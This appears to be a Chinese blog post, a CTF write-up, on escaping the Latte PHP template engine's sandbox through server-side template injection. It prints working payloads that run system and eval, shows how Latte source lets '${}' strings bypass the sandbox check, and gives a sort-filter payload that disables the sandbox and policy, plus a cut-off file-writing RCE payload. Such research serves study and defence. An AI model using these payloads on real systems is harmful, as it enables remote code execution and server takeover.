<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Latte-SSTI-Payloads總結

    一顆小胡椒2021-12-14 16:56:16

    TL;DR

    最近西湖論劍有一道使用Latte的題目,當時我也是用的偷雞辦法做的,當時時間限制就沒有仔仔細細的去尋找逃逸的辦法。

    直到賽后我發現逃逸的辦法很簡單

    {="${system('nl /flag')}"}
    

    這里使用的是php的基礎語法,我就不過多贅述了。這個復雜變量網上也有很多文章。

    賽后我無聊的時候簡單看了下Latte,找了點后續的利用,比如獲取$this變量,還有任意代碼執行。然后發現網上關于這個引擎的文章很少,就來水一篇吧。

    “${}” Bypass

    我粗略的讀了下Latte,其實Latte確實是對$$和${}進行了檢測的

    //PhpWriter.phppublic function sandboxPass(MacroTokens $tokens): MacroTokens{        ......        elseif ($tokens->isCurrent('$')) { // $$$var or ${...}                throw new CompileException('Forbidden variable variables.');
            }        ......        else { // $obj->$$$var or $obj::$$$var                        $member = $tokens->nextAll($tokens::T_VARIABLE, '$');                        $expr->tokens = $op === '::' && !$tokens->isNext('(')                            ? array_merge($expr->tokens, array_slice($member, 1))                            : array_merge($expr->tokens, $member);         }        ......}
    

    從給的注釋和報錯的異常也能看出來,這里通過前面的詞法,語法分析出來的token在檢測形容${},$$var這樣的結構。

    如果你直接在模板里書寫${$xx}確實會報上面哪個異常

    但是如果使用”${xxx}”,可能在前面詞法,語法分析就會認為這是個定義的字符串,根本不會進入這里的sandboxPass方法了

    可以從一個盡量精簡的例子來看看后續的流程

     //這是index.phprequire 'vendor/autoload.php';$latte = new Latte\Engine;$latte->setTempDirectory('tempdir');$policy = new Latte\Sandbox\SecurityPolicy;$policy->allowMacros(['block', 'if', 'else','=']);$policy->allowFilters($policy::ALL);$policy->allowFunctions(['trim', 'strlen']);$latte->setPolicy($policy);$latte->setSandboxMode();$latte->setAutoRefresh(true);
    if(isset($_FILES['file'])){    $uploaddir = '/var/www/html/tempdir/';    $filename = basename($_FILES['file']['name']);    if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){        die('no');    }    $file_conents = file_get_contents($_FILES['file']['tmp_name']);    if(strlen($file_conents)>28 or stristr($file_conents,'<')){        die('no');    }    $uploadfile = $uploaddir . $filename;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {        $message = $filename ." was successfully uploaded.";    } else {        $message = "error!";    }
        $params = [        'message' => $message,    ];    $latte->render('tempdir/index.latte', $params);}else if($_GET['source']==1){    highlight_file(__FILE__);}else{    $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);}
    /*這是index.latte*/    {="${eval('echo \'pwn!\';')}"}    
    

    調用棧張這樣,光從名字來看應該還是挺清晰的

    主要看看buildClassBody方法

    private function buildClassBody(array $tokens){......        $macroHandlers = new \SplObjectStorage;
            if ($this->macros) {            array_map([$macroHandlers, 'attach'],     array_merge(...array_values($this->macros)));        }
            foreach ($macroHandlers as $handler) {            $handler->initialize($this);        }
            foreach ($tokens as $this->position => $token) {            if ($this->inHead && !(                $token->type === $token::COMMENT                || $token->type === $token::MACRO_TAG && ($this->flags[$token->name] ?? null) & Macro::ALLOWED_IN_HEAD                || $token->type === $token::TEXT && trim($token->text) === ''            )) {                $this->inHead = false;            }            $this->{"process$token->type"}($token);        }......
    

    在上面哪個示范中,$this->{“process$token->type”}($token);當$token->type=MacroTag時,調用的就是$this->processMacroTag($token);

    主要來看看這個MacroTag的處理過程,因為這個MacroTag就代表{="${eval('echo \'pwn!\';')}"}

    private function processMacroTag(Token $token): void{......//對于這個標簽,因為情況比較簡單,直接就是來到這里        $node = $this->openMacro($token->name, $token->value, $token->modifiers, $isRightmost);......}
    public function openMacro(        string $name,        string $args = '',        string $modifiers = '',        bool $isRightmost = false,        string $nPrefix = null    ): MacroNode {    ......    $node = $this->expandMacro($name, $args, $modifiers, $nPrefix);    ......    }
    public function expandMacro(string $name, string $args, string $modifiers = '', string $nPrefix = null): MacroNode{    if (empty($this->macros[$name])){//先判斷是否存在這個macros        ......    }    $modifiers = (string) $modifiers;//獲取修飾符     .......    .......    foreach (array_reverse($this->macros[$name]) as $macro) {            $node = new MacroNode($macro, $name, $args, $modifiers, $this->macroNode, $this->htmlNode, $nPrefix);//前面一堆蜜汁操作(因為調的時候前面很多分支沒進入,就不管了),終于開始建立這個節點            $node->context = $context;            $node->startLine = $nPrefix ? $this->htmlNode->startLine : $this->getLine();            if ($macro->nodeOpened($node) !== false) {                return $node;            }    }}
    

    來到MacroSet的nodeOpened(這里是CoreMacros繼承的MacroSet方法)然后調用了MacroSet的compile方法,對于本例會來到CoreMacros的macroExpr,通過這個方法上面的注釋也能明白這里是在準備編譯表達式,在準備將表達式打印的語句編譯出來。

    nodeOpened(MacroNode $node) -> compile(MacroNode $node, $def)->macroExpr(MacroNode $node, PhpWriter $writer)
    

    然后來到PhpWriter的write方法

       /**     * Expands %node.word, %node.array, %node.args, %node.line, %escape(), %modify(), %var, %raw, %word in code.     * @param  mixed  ...$args     */    public function write(string $mask, ...$args): string    ......    //這整個PhpWriter其實都在干一件事就是去生成一個類似于格式化字符串的結果    //對于本例,當格式化參數的時候,會一路調用到PhpWriter的sandboxPass方法
    

    在PhpWriter的sandboxPass方法中,會根據目前他拿到的tokens來做判斷(雖然初始化PhpWriter的時候,傳給他的tokens屬性的變量叫tokenizer,實際上傳過去的是是當時哪個節點對于分詞器的一個包裝)

    ....elseif ($tokens->isCurrent('$')) { // $$$var or ${...}                throw new CompileException('Forbidden variable variables.');....
    

    可以看到這里如果使用$tokens->isCurrent(‘$’)自然而然獲取到的是"${eval(xxxxxx)}"并不是一個$的token。

    所以就繞過了sandbox。

    底層的原理也很簡單,其實就是Latte的解析并沒有與php一致。也就是說Latte認為這就是在輸出一個字符串而已,但是最后生成的php文件中,這確實是一個符合語法規則的復雜變量。

    How to get $this

    模板沙盒逃逸一般大家第一步都喜歡去尋找一些內置變量一類,看看有沒有什么操作的空間。但是Latte我粗略的看了下官方文檔,好像沒有內置變量。直接使用$this會直接被ban。

    這里我當時看到了一個過濾器sort

    You can pass your own comparison function as a parameter:{var $sorted = ($names|sort: fn($a, $b) => $b <=> $a)}//這是官方的例子
    

    這樣的東西看起來就很危險,而且最后是會編譯成php文件的,所以我猜測自定義匿名函數的代碼片段最后生成到php文件時不會產生太大的變化。我當時試了試在匿名函數里面定義一個沒用的變量。在最后編譯生成的php文件里,我也確實看到了我定義的變量。所以我就覺得這個地方是有操作空間的。

    如果你直接準備再這里進行函數調用會被直接攔下來的,靜態調用過不了編譯。動態調用因為上文提到的sandboxPass方法,會進行以下轉換比如

    trim("phpinfo\t")();  => $this->call(trim("phpinfo\t"))();
    

    其中$this變量是一個Latte\Runtime\Template的對象,他的這個call其實就是在檢測白名單,并且適配了php的幾種動態調用的形式,比如數組之類的。

    我水平有限也無法規避Latte對動態調用這樣的轉換。(可能可以使用類似mxss的思路去規避?)

    所以我就還是準備使用”${}”看看能否獲得$this變量

      
    {=["this","siebene"]|sort: function ($a,$b)  {  
            "${is_string(${$a}->getEngine()->setSandboxMode(false))}";        "${is_string(${$a}->getEngine()->setPolicy(null))}";
        }}</li>    /*    這里有個小細節就是為了避免對象轉為字符串報致命錯誤提前中斷,我使用了`is_string`來將對象間接轉成可以接受的形式。    */
    

    發現還是挺簡單的,我就拿到了$this變量,并且關閉了沙盒還有清空了策略。

    Another RCE Payloads

    有興趣看的話,感覺payload應該還是會有挺多的

    {=["this","siebene"]|sort: function ($a,$b)  {                  "${is_string(${$a}->call(function (){ file_put_contents('sie.php',';    }}</li>
    
    tokenstring
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    EventID=4624,從安全日志中獲取登錄成功的客戶端登錄ip、登錄源端口、登錄時間等信息
    在工作過程中,尤其是應急的時候,碰到客戶windows域控被入侵的相關安全事件時,往往會需要分析windows安全日志,此類日志往往非常的大;此時,高效分析windows安全日志,提取出我們想要的有用信息,就顯得尤為關鍵。
    0x01 前言 工作過程中,尤其是應急的時候,碰到客戶windows域控被入侵的相關安全事件時,往往會需要分析windows安全日志,此類日志往往非常的大;此時,高效分析windows安全日志,提取出我們想要的有用信息,就顯得尤為關鍵,這里給大家推薦一款我常用的windows日志分析工具,logparser,目前版本是2.2。
    總結Windows服務器入侵排查的思路,對最容易出現安全問題的地方進行入手排查。
    漏洞信息ShenYu是一款高性能,響應式的網關,同時也是應用于所有微服務場景的,可擴展、高性能、響應式的 API 網關解決方案。
    最終通過登錄成功后得到存在漏洞的后端接口,通過命令執行getshell。一個證書中包含了公鑰、持有者信息、證明證書內容有效的簽名以及證書有效期,還有一些其他額外信息。比對兩個摘要,如果匹配,則說明這個證書是被CA驗證過合法證書,里面的公鑰等信息是可信的。為了達成目標,BurpSuite必須:生成一對公私鑰,并將公鑰和目標域名綁定并封裝為證書。所以, BurpSuite需要在操作系統添加一個根證書,這個根證書可以讓瀏覽器信任所有BurpSuite頒發的證書。
    分塊傳輸吊打所有WAF
    對于要有孩子的家庭來說,有一個嬰兒監視器是比較好的選擇。嬰兒監視器類型包括 Wi-Fi、移動app和云平臺等。我們決定使用Motorola-Crib-Baby-Monitor-Soother-Camera,使用之前我想仔細研究一下這款設備的安全性。
    域滲透實戰之 vsmoon
    2023-11-14 10:40:10
    域滲透實戰之 vsmoon
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类